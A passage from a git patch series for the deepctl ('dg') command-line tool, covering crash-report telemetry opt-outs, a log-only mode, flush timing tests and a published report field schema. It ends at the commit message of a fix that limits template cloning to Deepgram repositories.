+        for name in ("DEEPCTL_TELEMETRY_DISABLED", "DO_NOT_TRACK", "CI"):
+            assert name in recorded["env"], name
         assert "DEEPCTL_HELP_CACHE" not in recorded["env"]
 
     def test_no_gate_writes_nothing(
@@ -273,7 +274,7 @@ def test_key_size_in_a_bundle_configuration(
         key = _cache.help_key("dg", 80, False, b"")
         assert len(key["files"]) <= _cache.MAX_KEY_FILES == 32
         assert _cache.MAX_KEY_ENV == 64
-        assert len(key["env"]) == 18
+        assert len(key["env"]) == 20
 
 
 def _poison(stamp: str, commands: list[dict[str, Any]]) -> None:
diff --git a/tests/unit/test_telemetry_wiring.py b/tests/unit/test_telemetry_wiring.py
index 883efa6f..48581dfe 100644
--- a/tests/unit/test_telemetry_wiring.py
+++ b/tests/unit/test_telemetry_wiring.py
@@ -30,6 +30,7 @@ def telemetry_on(monkeypatch: pytest.MonkeyPatch, tmp_path: Path):
     from deepctl_telemetry import client
 
     monkeypatch.delenv(client.DISABLE_ENV_VAR, raising=False)
+    monkeypatch.delenv(client.CI_ENV_VAR, raising=False)
     monkeypatch.setenv(client.DSN_ENV_VAR, DEAD_DSN)
     monkeypatch.setenv("HOME", str(tmp_path))
     monkeypatch.setenv("XDG_CONFIG_HOME", str(tmp_path / ".config"))
@@ -428,7 +429,8 @@ def _probe_env(tmp_path: Path, dsn: str | None = DEAD_DSN) -> dict[str, str]:
     env = {
         key: value
         for key, value in os.environ.items()
-        if key not in ("DEEPCTL_TELEMETRY_DISABLED", "DEEPCTL_TELEMETRY_DSN")
+        if key
+        not in ("DEEPCTL_TELEMETRY_DISABLED", "DEEPCTL_TELEMETRY_DSN", "CI", "DO_NOT_TRACK")
         and not key.startswith("DEEPGRAM_")
     }
     if dsn is not None:

From 6096c73237c4632e0e1a39e17f5bb2464d8d3288 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 13:16:27 -0500
Subject: [PATCH 38/88] perf(telemetry): skip the flush when no report was
 queued

When the report is dropped before it is queued (a closed-stream error,
or nothing left to send), there is nothing to wait for, so the flush
is skipped. Tests pin the two timing cases: a refused connection ends
the report at once, and an unanswered one is held to the budget.
---
 .../src/deepctl_telemetry/client.py           |  8 +++-
 .../tests/unit/test_contract.py               | 45 ++++++++++++++++++-
 2 files changed, 50 insertions(+), 3 deletions(-)

diff --git a/packages/deepctl-telemetry/src/deepctl_telemetry/client.py b/packages/deepctl-telemetry/src/deepctl_telemetry/client.py
index 24550578..60786718 100644
--- a/packages/deepctl-telemetry/src/deepctl_telemetry/client.py
+++ b/packages/deepctl-telemetry/src/deepctl_telemetry/client.py
@@ -319,7 +319,8 @@ def report_exception(exc: BaseException | None) -> bool:
     DEEPCTL_TELEMETRY_DSN. Imports and initializes the SDK only here. At
     most one report per process. The flush waits at most
     FLUSH_TIMEOUT_SECONDS after init, and the whole call is held to
-    REPORT_BUDGET_SECONDS (but the flush always gets FLUSH_FLOOR_SECONDS).
+    REPORT_BUDGET_SECONDS (but the flush always gets FLUSH_FLOOR_SECONDS);
+    there is no flush when no event was queued.
     Never raises an Exception; a KeyboardInterrupt during the flush
     propagates to the caller. Returns whether an event was handed to the
     SDK.
@@ -345,7 +346,10 @@ def report_exception(exc: BaseException | None) -> bool:
             cli_version = "unknown"
 
         sentry_sdk.init(**_sdk_options(dsn, cli_version))
-        sentry_sdk.capture_exception(target)
+        if sentry_sdk.capture_exception(target) is None:
+            # Dropped before it was queued (a closed-stream error, or no
+            # field left to send): there is nothing to wait for.
+            return False
         left = REPORT_BUDGET_SECONDS - (time.monotonic() - started)
         timeout = max(FLUSH_FLOOR_SECONDS, min(FLUSH_TIMEOUT_SECONDS, left))
         sentry_sdk.flush(timeout=timeout)
diff --git a/packages/deepctl-telemetry/tests/unit/test_contract.py b/packages/deepctl-telemetry/tests/unit/test_contract.py
index f37148e9..c16247f1 100644
--- a/packages/deepctl-telemetry/tests/unit/test_contract.py
+++ b/packages/deepctl-telemetry/tests/unit/test_contract.py
@@ -1,13 +1,16 @@
 """The telemetry runtime contract.
 
-Cross-tool opt-outs: DO_NOT_TRACK and CI. Reports go to a local sink on loopback, never further.
+Cross-tool opt-outs (DO_NOT_TRACK, CI) and the flush that only waits for a
+queued event. Reports go to a local sink on loopback, never further.
 """
 
 from __future__ import annotations
 
+import socket
 import sys
 import tempfile
 import threading
+import time
 from collections.abc import Iterator
 from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
 from pathlib import Path
@@ -139,3 +142,43 @@ def test_sink_receives_a_report_without_them(self, sink: _Sink) -> None:
         assert _fail() is True
         sentry_sdk.get_client().close(timeout=2)
         assert len(sink.posts) == 1
+
+
+class TestFlush:
+    def test_no_flush_when_nothing_was_queued(self) -> None:
+        client.init_telemetry(_config())
+        with patch("sentry_sdk.flush") as flush:
+            try:
+                raise BrokenPipeError(32, "Broken pipe")
+            except BrokenPipeError as exc:
+                assert client.report_exception(exc) is False
+        flush.assert_not_called()
+
+    def test_refused_connection_does_not_wait_out_the_budget(
+        self, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        # A port nothing listens on: the one send fails at once, and the
+        # flush returns as soon as it has, not at its timeout.
+        with socket.socket() as probe:
+            probe.bind(("127.0.0.1", 0))
+            port = probe.getsockname()[1]
+        monkeypatch.setenv(client.DSN_ENV_VAR, f"http://k@127.0.0.1:{port}/1")
+        client.init_telemetry(_config())
+        started = time.monotonic()
+        assert _fail() is True
+        assert time.monotonic() - started < client.FLUSH_TIMEOUT_SECONDS
+
+    def test_unanswered_send_is_held_to_the_budget(
+        self, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        # Accepts the connection and never answers (blocked egress).
+        with socket.socket() as hole:
+            hole.bind(("127.0.0.1", 0))
+            hole.listen(8)
+            port = hole.getsockname()[1]
+            monkeypatch.setenv(client.DSN_ENV_VAR, f"http://k@127.0.0.1:{port}/1")
+            client.init_telemetry(_config())
+            started = time.monotonic()
+            assert _fail() is True
+            elapsed = time.monotonic() - started
+        assert elapsed < client.REPORT_BUDGET_SECONDS + 0.25

From f76f032caa77b3cd40b73a2c05b7210a82863ca9 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 13:16:28 -0500
Subject: [PATCH 39/88] feat(telemetry): add DEEPCTL_TELEMETRY=log and =off

With DEEPCTL_TELEMETRY=log, an unexpected error prints the report dg
would send to stderr as one JSON line, and nothing is sent: the SDK
gets a transport that only writes to stderr and no destination. It
changes nothing when telemetry is off.

DEEPCTL_TELEMETRY=off (or 0, false, no, disabled) turns telemetry off,
like DEEPCTL_TELEMETRY_DISABLED. Any other value keeps the default.
The variable joins the root --help cache key.
---
 conftest.py                                   |  5 +-
 docs/contracts/help-cache.md                  |  2 +-
 .../src/deepctl_telemetry/client.py           | 66 ++++++++++++++---
 .../tests/unit/test_contract.py               | 73 ++++++++++++++++++-
 src/deepctl/_cache.py                         |  1 +
 tests/unit/test_cache.py                      |  9 ++-
 6 files changed, 139 insertions(+), 17 deletions(-)

diff --git a/conftest.py b/conftest.py
index b81ca5da..3a8e7bf5 100644
--- a/conftest.py
+++ b/conftest.py
@@ -77,10 +77,11 @@ def _disable_telemetry(monkeypatch):
     """
     monkeypatch.setenv("DEEPCTL_TELEMETRY_DISABLED", "1")
     monkeypatch.setenv("DEEPCTL_TELEMETRY_DSN", "http://k@127.0.0.1:9/1")
-    # A developer's DO_NOT_TRACK must not change what telemetry's own tests
-    # see. (CI is cleared only by those tests:
+    # A developer's DO_NOT_TRACK or DEEPCTL_TELEMETRY=log must not change
+    # what telemetry's own tests see. (CI is cleared only by those tests:
     # other suites read it as an automation signal.)
     monkeypatch.delenv("DO_NOT_TRACK", raising=False)
+    monkeypatch.delenv("DEEPCTL_TELEMETRY", raising=False)
 
 
 @pytest.fixture(autouse=True)
diff --git a/docs/contracts/help-cache.md b/docs/contracts/help-cache.md
index 13764f35..c2f67611 100644
--- a/docs/contracts/help-cache.md
+++ b/docs/contracts/help-cache.md
@@ -77,7 +77,7 @@ The launcher serves an entry only when every one of the following holds. Anythin
 4. **Each name in `env`** has the same value in the launcher's environment, and `null` means the variable must be unset. On Windows, look the names up case-insensitively, as the OS does. A variable that isn't listed doesn't matter. `DEEPCTL_PROG_NAME` and `DEEPCTL_HELP_CACHE` are never listed: the launcher sets them, and `prog` already records the name.
 5. **`text_sha256`** (lowercase hex) equals the SHA-256 of the entry bytes the launcher read. This binds the text to its key: Python writes the text first and the key second, so text from another run under this key is a miss and is never served.
 
-A bundle install (`-I`, no user site, `HOME` is the real home) lists about 10 files and 20 environment variables. Python writes no key over the limits (32 files, 64 variables), so an install with a long `sys.path` (an editable install, say) gets no entry and always takes the Python path.
+A bundle install (`-I`, no user site, `HOME` is the real home) lists about 10 files and 21 environment variables. Python writes no key over the limits (32 files, 64 variables), so an install with a long `sys.path` (an editable install, say) gets no entry and always takes the Python path.
 
 **Paths and values that aren't valid Unicode.**
 - **Unix:** a path or environment value with bytes that don't decode under the filesystem encoding reaches Python as a lone surrogate (`\udcXX`).
diff --git a/packages/deepctl-telemetry/src/deepctl_telemetry/client.py b/packages/deepctl-telemetry/src/deepctl_telemetry/client.py
index 60786718..65ecf72c 100644
--- a/packages/deepctl-telemetry/src/deepctl_telemetry/client.py
+++ b/packages/deepctl-telemetry/src/deepctl_telemetry/client.py
@@ -43,6 +43,12 @@
 # consoledonottrack.com convention, and the variable CI services set.
 DO_NOT_TRACK_ENV_VAR = "DO_NOT_TRACK"
 CI_ENV_VAR = "CI"
+# DEEPCTL_TELEMETRY=log prints the report that would be sent to stderr as
+# one JSON line, and sends nothing. The values in _MODE_OFF turn telemetry
+# off; any other value keeps the default.
+MODE_ENV_VAR = "DEEPCTL_TELEMETRY"
+LOG_MODE = "log"
+_MODE_OFF = frozenset({"off", "0", "false", "no", "disabled"})
 
 # Values of the opt-out variables that leave telemetry on. Any other
 # non-empty value turns it off.
@@ -93,7 +99,14 @@ def _env_set(name: str) -> bool:
 
 
 def _env_opts_out() -> bool:
-    return _env_set(DISABLE_ENV_VAR)
+    if _env_set(DISABLE_ENV_VAR):
+        return True
+    return os.environ.get(MODE_ENV_VAR, "").strip().lower() in _MODE_OFF
+
+
+def _log_mode() -> bool:
+    """DEEPCTL_TELEMETRY=log: print the report instead of sending it."""
+    return os.environ.get(MODE_ENV_VAR, "").strip().lower() == LOG_MODE
 
 
 # Keys whose repetition in a config file makes the telemetry setting
@@ -214,9 +227,9 @@ def is_enabled(config: Config) -> bool:
     Resolution order: the build switch, then whether there is a
     destination (a loopback DEEPCTL_TELEMETRY_DSN; without one telemetry is
     off), then `--no-telemetry` for this run, then the env overrides
-    (DEEPCTL_TELEMETRY_DISABLED, DO_NOT_TRACK, CI), then `telemetry.enabled`
-    in the user's config file (default on). The project's `deepgram.yaml` is
-    never read.
+    (DEEPCTL_TELEMETRY_DISABLED or DEEPCTL_TELEMETRY set to off,
+    DO_NOT_TRACK, CI), then `telemetry.enabled` in the user's config file
+    (default on). The project's `deepgram.yaml` is never read.
     """
     return _opt_out_source(config) is None
 
@@ -320,10 +333,11 @@ def report_exception(exc: BaseException | None) -> bool:
     most one report per process. The flush waits at most
     FLUSH_TIMEOUT_SECONDS after init, and the whole call is held to
     REPORT_BUDGET_SECONDS (but the flush always gets FLUSH_FLOOR_SECONDS);
-    there is no flush when no event was queued.
-    Never raises an Exception; a KeyboardInterrupt during the flush
-    propagates to the caller. Returns whether an event was handed to the
-    SDK.
+    there is no flush when no event was queued. With DEEPCTL_TELEMETRY=log
+    the event is printed to stderr instead and nothing is sent, not even to
+    the loopback DSN. Never raises an Exception; a KeyboardInterrupt during
+    the flush propagates to the caller. Returns whether an event was handed
+    to the SDK.
     """
     started = time.monotonic()
     with _report_lock:
@@ -345,11 +359,18 @@ def report_exception(exc: BaseException | None) -> bool:
         except Exception:
             cli_version = "unknown"
 
-        sentry_sdk.init(**_sdk_options(dsn, cli_version))
+        if _log_mode():
+            options = _sdk_options(None, cli_version)
+            options["transport"] = _stderr_transport()
+        else:
+            options = _sdk_options(dsn, cli_version)
+        sentry_sdk.init(**options)
         if sentry_sdk.capture_exception(target) is None:
             # Dropped before it was queued (a closed-stream error, or no
             # field left to send): there is nothing to wait for.
             return False
+        if _log_mode():
+            return True
         left = REPORT_BUDGET_SECONDS - (time.monotonic() - started)
         timeout = max(FLUSH_FLOOR_SECONDS, min(FLUSH_TIMEOUT_SECONDS, left))
         sentry_sdk.flush(timeout=timeout)
@@ -364,7 +385,32 @@ def _read_cli_version() -> str:
     return importlib.metadata.version("deepctl")
 
 
-def _sdk_options(dsn: str, cli_version: str) -> dict[str, Any]:
+def _stderr_transport() -> Any:
+    """A transport that writes each event to stderr as one JSON line.
+
+    Used for DEEPCTL_TELEMETRY=log. It never opens a connection, and the
+    SDK gets no destination at all in that mode.
+    """
+    import json
+
+    from sentry_sdk.transport import Transport
+
+    class StderrTransport(Transport):
+        def capture_envelope(self, envelope: Any) -> None:
+            event = envelope.get_event()
+            if event is None:
+                return
+            try:
+                sys.stderr.write(json.dumps(event, sort_keys=True, default=str))
+                sys.stderr.write("\n")
+                sys.stderr.flush()
+            except (OSError, ValueError, AttributeError):
+                pass
+
+    return StderrTransport()
+
+
+def _sdk_options(dsn: str | None, cli_version: str) -> dict[str, Any]:
     """Explicit SDK settings: one error event per failure and nothing else.
 
     No integrations at all (no argv, modules, logging, breadcrumbs, and none
diff --git a/packages/deepctl-telemetry/tests/unit/test_contract.py b/packages/deepctl-telemetry/tests/unit/test_contract.py
index c16247f1..acadbf8c 100644
--- a/packages/deepctl-telemetry/tests/unit/test_contract.py
+++ b/packages/deepctl-telemetry/tests/unit/test_contract.py
@@ -1,11 +1,12 @@
 """The telemetry runtime contract.
 
-Cross-tool opt-outs (DO_NOT_TRACK, CI) and the flush that only waits for a
-queued event. Reports go to a local sink on loopback, never further.
+Cross-tool opt-outs (DO_NOT_TRACK, CI), the DEEPCTL_TELEMETRY=log mode, the
+flush that only waits for a queued event. Reports go to a local sink on loopback, never further.
 """
 
 from __future__ import annotations
 
+import json
 import socket
 import sys
 import tempfile
@@ -29,6 +30,7 @@ def _env(monkeypatch: pytest.MonkeyPatch) -> Iterator[None]:
         client.DISABLE_ENV_VAR,
         client.DO_NOT_TRACK_ENV_VAR,
         client.CI_ENV_VAR,
+        client.MODE_ENV_VAR,
     ):
         monkeypatch.delenv(name, raising=False)
     monkeypatch.setattr(client, "_state", client._fresh_state())
@@ -125,6 +127,13 @@ def test_dg_switch_is_named_first(self, monkeypatch: pytest.MonkeyPatch) -> None
         client.init_telemetry(_config())
         assert client._state["opt_out"] == "env"
 
+    def test_log_mode_does_not_turn_an_opt_out_back_on(
+        self, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        monkeypatch.setenv("DO_NOT_TRACK", "1")
+        monkeypatch.setenv("DEEPCTL_TELEMETRY", "log")
+        assert client.init_telemetry(_config()) is False
+
     @pytest.mark.parametrize("name", ["DO_NOT_TRACK", "CI"])
     def test_forced_error_sends_nothing(
         self, monkeypatch: pytest.MonkeyPatch, sink: _Sink, name: str
@@ -144,6 +153,66 @@ def test_sink_receives_a_report_without_them(self, sink: _Sink) -> None:
         assert len(sink.posts) == 1
 
 
+class TestLogMode:
+    def test_prints_the_event_and_sends_nothing(
+        self,
+        monkeypatch: pytest.MonkeyPatch,
+        sink: _Sink,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        monkeypatch.setenv("DEEPCTL_TELEMETRY", "LOG")
+        client.init_telemetry(_config())
+        with patch("sentry_sdk.flush") as flush:
+            assert _fail() is True
+        flush.assert_not_called()
+        sentry_sdk.get_client().close(timeout=2)
+        lines = [ln for ln in capsys.readouterr().err.splitlines() if ln.strip()]
+        assert len(lines) == 1, lines
+        event = json.loads(lines[0])
+        assert event["exception"]["values"][0]["type"] == "RuntimeError"
+        assert "forced" not in lines[0]
+        assert sink.posts == []
+
+    def test_no_destination_is_configured(
+        self, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        monkeypatch.setenv("DEEPCTL_TELEMETRY", "log")
+        client.init_telemetry(_config())
+        with patch("sentry_sdk.init", wraps=sentry_sdk.init) as init:
+            _fail()
+        assert init.call_args.kwargs["dsn"] is None
+        transport = sentry_sdk.get_client().transport
+        assert type(transport).__name__ == "StderrTransport"
+
+    @pytest.mark.parametrize("value", ["off", "0", "false", "No", " disabled "])
+    def test_off_values_turn_it_off(
+        self, monkeypatch: pytest.MonkeyPatch, sink: _Sink, value: str
+    ) -> None:
+        monkeypatch.setenv("DEEPCTL_TELEMETRY", value)
+        assert client.init_telemetry(_config()) is False
+        assert client._state["opt_out"] == "env"
+        with patch("sentry_sdk.init") as init:
+            assert _fail() is False
+        init.assert_not_called()
+        assert sink.posts == []
+
+    @pytest.mark.parametrize("value", ["on", "1", "true", "yes", "print"])
+    def test_other_values_keep_the_default(
+        self, monkeypatch: pytest.MonkeyPatch, value: str
+    ) -> None:
+        monkeypatch.setenv("DEEPCTL_TELEMETRY", value)
+        assert client.init_telemetry(_config()) is True
+
+    def test_other_values_send_as_usual(
+        self, monkeypatch: pytest.MonkeyPatch, sink: _Sink
+    ) -> None:
+        monkeypatch.setenv("DEEPCTL_TELEMETRY", "print")
+        client.init_telemetry(_config())
+        assert _fail() is True
+        sentry_sdk.get_client().close(timeout=2)
+        assert len(sink.posts) == 1
+
+
 class TestFlush:
     def test_no_flush_when_nothing_was_queued(self) -> None:
         client.init_telemetry(_config())
diff --git a/src/deepctl/_cache.py b/src/deepctl/_cache.py
index 2f5191f4..5c287477 100644
--- a/src/deepctl/_cache.py
+++ b/src/deepctl/_cache.py
@@ -53,6 +53,7 @@
     "DEEPGRAM_OUTPUT_COLOR",
     "DEEPCTL_TELEMETRY_DISABLED",
     "DO_NOT_TRACK",
+    "DEEPCTL_TELEMETRY",
     "CI",
     "DEEPCTL_EAGER_LOAD",
     "XDG_CONFIG_HOME",
diff --git a/tests/unit/test_cache.py b/tests/unit/test_cache.py
index 2eefbc4d..bf5a3daa 100644
--- a/tests/unit/test_cache.py
+++ b/tests/unit/test_cache.py
@@ -134,7 +134,12 @@ def test_clean_run_writes_a_private_entry_under_the_real_home(
         assert recorded["prog"] == "dg" and recorded["isatty"] is False
         assert not any("deepgram.yaml" in f["path"] for f in recorded["files"])
         assert not any("cwd_relative" in f for f in recorded["files"])
-        for name in ("DEEPCTL_TELEMETRY_DISABLED", "DO_NOT_TRACK", "CI"):
+        for name in (
+            "DEEPCTL_TELEMETRY_DISABLED",
+            "DEEPCTL_TELEMETRY",
+            "DO_NOT_TRACK",
+            "CI",
+        ):
             assert name in recorded["env"], name
         assert "DEEPCTL_HELP_CACHE" not in recorded["env"]
 
@@ -274,7 +279,7 @@ def test_key_size_in_a_bundle_configuration(
         key = _cache.help_key("dg", 80, False, b"")
         assert len(key["files"]) <= _cache.MAX_KEY_FILES == 32
         assert _cache.MAX_KEY_ENV == 64
-        assert len(key["env"]) == 20
+        assert len(key["env"]) == 21
 
 
 def _poison(stamp: str, commands: list[dict[str, Any]]) -> None:

From 707672e2040f15adff3242cafa2b7768b896aee9 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 13:16:28 -0500
Subject: [PATCH 40/88] docs(telemetry): publish the report's field schema

docs/telemetry.md lists every field a report can hold, the opt-outs in
the order they are checked, the time budget and the log mode. A test
sends a report through the real error path (an exception chain, with
the command context filled in) and checks that its fields are exactly
the documented ones. A missing doc fails the test.
---
 docs/telemetry.md                             | 64 ++++++++++++
 .../src/deepctl_telemetry/client.py           |  3 +
 .../tests/unit/test_contract.py               | 98 ++++++++++++++++++-
 3 files changed, 162 insertions(+), 3 deletions(-)
 create mode 100644 docs/telemetry.md

diff --git a/docs/telemetry.md b/docs/telemetry.md
new file mode 100644
index 00000000..a9ad2f1f
--- /dev/null
+++ b/docs/telemetry.md
@@ -0,0 +1,64 @@
+# Telemetry
+
+dg sends one error report when a command fails with an unexpected error. Nothing is sent when a command succeeds, for a usage error or another error dg reports to you, or for `--help` and `--version`. The README's Telemetry section says where reports go.
+
+## When it runs
+
+- **At most one report per run**, and only for an unexpected error.
+- **No network or reporting code on the success path.** The reporting library is loaded only after an unexpected error, so a command that succeeds opens no connection for telemetry.
+- **A short time budget.** dg waits about 0.6 s at most for a report, loading included, and doesn't wait at all when no report was queued. With blocked or slow egress, a failing command takes at most that much longer.
+
+## Turn it off
+
+Any one of these turns telemetry off. They are checked in this order:
+
+| Switch | Scope |
+|---|---|
+| `--no-telemetry` | One command |
+| `DEEPCTL_TELEMETRY_DISABLED=1` | A shell session, a CI job |
+| `DEEPCTL_TELEMETRY=off` | A shell session, a CI job |
+| `DO_NOT_TRACK=1` | Every tool that follows the [Console Do Not Track](https://consoledonottrack.com/) convention |
+| `CI` set (as CI services do) | Any CI job |
+| `telemetry.enabled: false` in your `config.yaml` | Always |
+
+For `DEEPCTL_TELEMETRY_DISABLED`, `DO_NOT_TRACK` and `CI`, any value except an empty one, `0`, `false`, `no` or `off` turns telemetry off. `DEEPCTL_TELEMETRY` turns it off when set to `off`, `0`, `false`, `no` or `disabled`; `log` is described below, and any other value changes nothing. A config file dg won't load (unreadable, too large, not valid YAML, a repeated `telemetry` key, or one dg doesn't trust in an AI agent session) counts as turned off too. A project's `deepgram.yaml` can't change these settings. The last line of `dg --help` shows whether telemetry is on.
+
+## See what would be sent
+
+Run a command with `DEEPCTL_TELEMETRY=log`. If it fails with an unexpected error and telemetry is on, dg prints the report it would have sent to stderr, as one JSON line, and sends nothing.
+
+```sh
+DEEPCTL_TELEMETRY=log dg listen recording.wav
+```
+
+## Field schema
+
+A report holds these fields and nothing else. A value that doesn't match its expected shape (an identifier, a version string, a command path) is dropped, never shortened or escaped. Names from code outside dg and the libraries it calls, such as a plugin's, are sent as `<other>`.
+
+<!-- fields:start -->
+| Field | Contents |
+|---|---|
+| `event_id` | Random report ID (32 hex characters) |
+| `timestamp` | When the error happened |
+| `platform` | Always `python` |
+| `level` | Always `error` |
+| `release` | `deepctl@` and the dg version |
+| `environment` | Always `production` |
+| `sdk.name` | Name of the reporting library |
+| `sdk.version` | Version of the reporting library |
+| `tags.cmd.path` | Command path, such as `dg listen` |
+| `tags.cmd.flags` | Names of the flags used, never their values, such as `--model,--output` |
+| `tags.cli.os` | Operating system, such as `Darwin` |
+| `tags.cli.arch` | CPU architecture, such as `arm64` |
+| `tags.cli.python` | Python version, such as `3.12.4` |
+| `exception.values[].type` | Exception type, and the type of each exception that led to it |
+| `exception.values[].mechanism.type` | How the error was caught, such as `generic` |
+| `exception.values[].mechanism.handled` | Whether dg caught it |
+| `exception.values[].stacktrace.frames[].module` | Module of each stack frame |
+| `exception.values[].stacktrace.frames[].function` | Function of each stack frame |
+| `exception.values[].stacktrace.frames[].lineno` | Line number of each stack frame |
+<!-- fields:end -->
+
+A report never holds flag values or arguments, file names or paths, environment variables, API keys, request or response data, error messages, log output, variable values, source code, your hostname or your username.
+
+A test (`packages/deepctl-telemetry/tests/unit/test_contract.py`) sends a report through the real error path and checks that its fields are exactly the ones in this table.
diff --git a/packages/deepctl-telemetry/src/deepctl_telemetry/client.py b/packages/deepctl-telemetry/src/deepctl_telemetry/client.py
index 65ecf72c..5420c70e 100644
--- a/packages/deepctl-telemetry/src/deepctl_telemetry/client.py
+++ b/packages/deepctl-telemetry/src/deepctl_telemetry/client.py
@@ -9,6 +9,9 @@
 records the enabled decision and installs stdlib exception hooks;
 ``report_exception`` imports and initializes the SDK when an error actually
 reaches it, sends one event, and flushes within a fixed time budget.
+
+The field schema is published in docs/telemetry.md; a test keeps the two
+in step.
 """
 
 from __future__ import annotations
diff --git a/packages/deepctl-telemetry/tests/unit/test_contract.py b/packages/deepctl-telemetry/tests/unit/test_contract.py
index acadbf8c..6a5a3d90 100644
--- a/packages/deepctl-telemetry/tests/unit/test_contract.py
+++ b/packages/deepctl-telemetry/tests/unit/test_contract.py
@@ -1,12 +1,14 @@
 """The telemetry runtime contract.
 
 Cross-tool opt-outs (DO_NOT_TRACK, CI), the DEEPCTL_TELEMETRY=log mode, the
-flush that only waits for a queued event. Reports go to a local sink on loopback, never further.
+flush that only waits for a queued event, and the published field schema in
+docs/telemetry.md. Reports go to a local sink on loopback, never further.
 """
 
 from __future__ import annotations
 
 import json
+import re
 import socket
 import sys
 import tempfile
@@ -22,6 +24,11 @@
 import pytest
 import sentry_sdk
 from deepctl_telemetry import client
+from sentry_sdk.transport import Transport
+
+REPO = Path(__file__).resolve().parents[4]
+DOC = REPO / "docs" / "telemetry.md"
+
 
 @pytest.fixture(autouse=True)
 def _env(monkeypatch: pytest.MonkeyPatch) -> Iterator[None]:
@@ -231,11 +238,15 @@ def test_refused_connection_does_not_wait_out_the_budget(
         with socket.socket() as probe:
             probe.bind(("127.0.0.1", 0))
             port = probe.getsockname()[1]
+        # A 4 s flush timeout and budget: returning well before them shows
+        # the flush ended with the failed send.
+        monkeypatch.setattr(client, "FLUSH_TIMEOUT_SECONDS", 4.0)
+        monkeypatch.setattr(client, "REPORT_BUDGET_SECONDS", 4.0)
         monkeypatch.setenv(client.DSN_ENV_VAR, f"http://k@127.0.0.1:{port}/1")
         client.init_telemetry(_config())
         started = time.monotonic()
         assert _fail() is True
-        assert time.monotonic() - started < client.FLUSH_TIMEOUT_SECONDS
+        assert time.monotonic() - started < 2.5
 
     def test_unanswered_send_is_held_to_the_budget(
         self, monkeypatch: pytest.MonkeyPatch
@@ -245,9 +256,90 @@ def test_unanswered_send_is_held_to_the_budget(
             hole.bind(("127.0.0.1", 0))
             hole.listen(8)
             port = hole.getsockname()[1]
+            # The budget (1.5 s) is under the flush timeout (6 s): the
+            # call ends at the budget, not the timeout.
+            monkeypatch.setattr(client, "FLUSH_TIMEOUT_SECONDS", 6.0)
+            monkeypatch.setattr(client, "REPORT_BUDGET_SECONDS", 1.5)
             monkeypatch.setenv(client.DSN_ENV_VAR, f"http://k@127.0.0.1:{port}/1")
             client.init_telemetry(_config())
             started = time.monotonic()
             assert _fail() is True
             elapsed = time.monotonic() - started
-        assert elapsed < client.REPORT_BUDGET_SECONDS + 0.25
+        assert elapsed < 1.5 + 2.0
+
+
+# ── Published schema ─────────────────────────────────────────────────
+
+
+def _paths(value: Any, prefix: str = "") -> set[str]:
+    """Every leaf of `value` as a dotted path; list items as `[]`."""
+    if isinstance(value, dict):
+        found: set[str] = set()
+        for key, child in value.items():
+            found |= _paths(child, f"{prefix}.{key}" if prefix else key)
+        return found
+    if isinstance(value, list):
+        found = set()
+        for child in value:
+            found |= _paths(child, f"{prefix}[]")
+        return found
+    return {prefix}
+
+
+def _documented() -> set[str]:
+    text = DOC.read_text(encoding="utf-8")
+    start = text.index("<!-- fields:start -->")
+    end = text.index("<!-- fields:end -->")
+    rows = [ln for ln in text[start:end].splitlines() if ln.startswith("| `")]
+    return {re.match(r"\| `([^`]+)`", row).group(1) for row in rows}  # type: ignore[union-attr]
+
+
+class _Capturing(Transport):
+    """Keeps the envelopes the SDK hands over; sends nothing."""
+
+    def __init__(self) -> None:
+        super().__init__()
+        self.events: list[dict[str, Any]] = []
+
+    def capture_envelope(self, envelope: Any) -> None:
+        for item in envelope.items:
+            if item.type == "event":
+                self.events.append(json.loads(item.get_bytes()))
+
+
+def _raise_from() -> None:
+    try:
+        raise KeyError("inner")
+    except KeyError as inner:
+        raise ValueError("outer") from inner
+
+
+def test_documented_fields_equal_what_a_report_holds(
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    """The real error path, with every source of fields filled in: what the
+    SDK is handed has exactly the fields docs/telemetry.md lists."""
+    assert DOC.is_file(), f"{DOC} is missing: the field schema must be published"
+    from deepctl_core import telemetry_context
+
+    monkeypatch.setattr(
+        telemetry_context,
+        "command_context",
+        lambda: {"command": "dg listen", "flags": "--model"},
+    )
+    capturing = _Capturing()
+    real_init = sentry_sdk.init
+
+    def init_with_capture(*args: Any, **kwargs: Any) -> Any:
+        kwargs["transport"] = capturing
+        return real_init(*args, **kwargs)
+
+    monkeypatch.setattr(sentry_sdk, "init", init_with_capture)
+    client.init_telemetry(_config())
+    try:
+        _raise_from()
+    except ValueError as exc:
+        assert client.report_exception(exc) is True
+    (event,) = capturing.events
+    assert len(event["exception"]["values"]) == 2
+    assert _paths(event) == _documented()

From 8823fb001b0bea5d10d2bfdb2a6e0e80704c2b05 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 17:08:39 -0500
Subject: [PATCH 41/88] fix(init): clone only Deepgram templates, with plain
 names

The template service supplies both the repository URL and the template
name, and dg init used them as given. It now clones only
https://github.com/deepgram/<repo> and
https://github.com/deepgram-starters/<repo>: no other host, scheme,
port, user name, query, fragment, extra path segment, whitespace or
control character.

Both the repository name and the template name must be plain: ASCII
letters, digits, ".", "_" and "-", not starting with "-". Anything else
is an error before the name is used in a path, a command or output,
and nothing is cloned.
---
 .../src/deepctl_cmd_init/command.py           |  28 ++-
 .../src/deepctl_cmd_init/lifecycle.py         |  50 ++++++
 .../src/deepctl_cmd_init/messages.py          |  13 ++
 .../tests/unit/test_init_repo.py              | 167 ++++++++++++++++++
 4 files changed, 253 insertions(+), 5 deletions(-)
 create mode 100644 packages/deepctl-cmd-init/src/deepctl_cmd_init/messages.py
 create mode 100644 packages/deepctl-cmd-init/tests/unit/test_init_repo.py

diff --git a/packages/deepctl-cmd-init/src/deepctl_cmd_init/command.py b/packages/deepctl-cmd-init/src/deepctl_cmd_init/command.py
index 8da8359a..00b87eba 100644
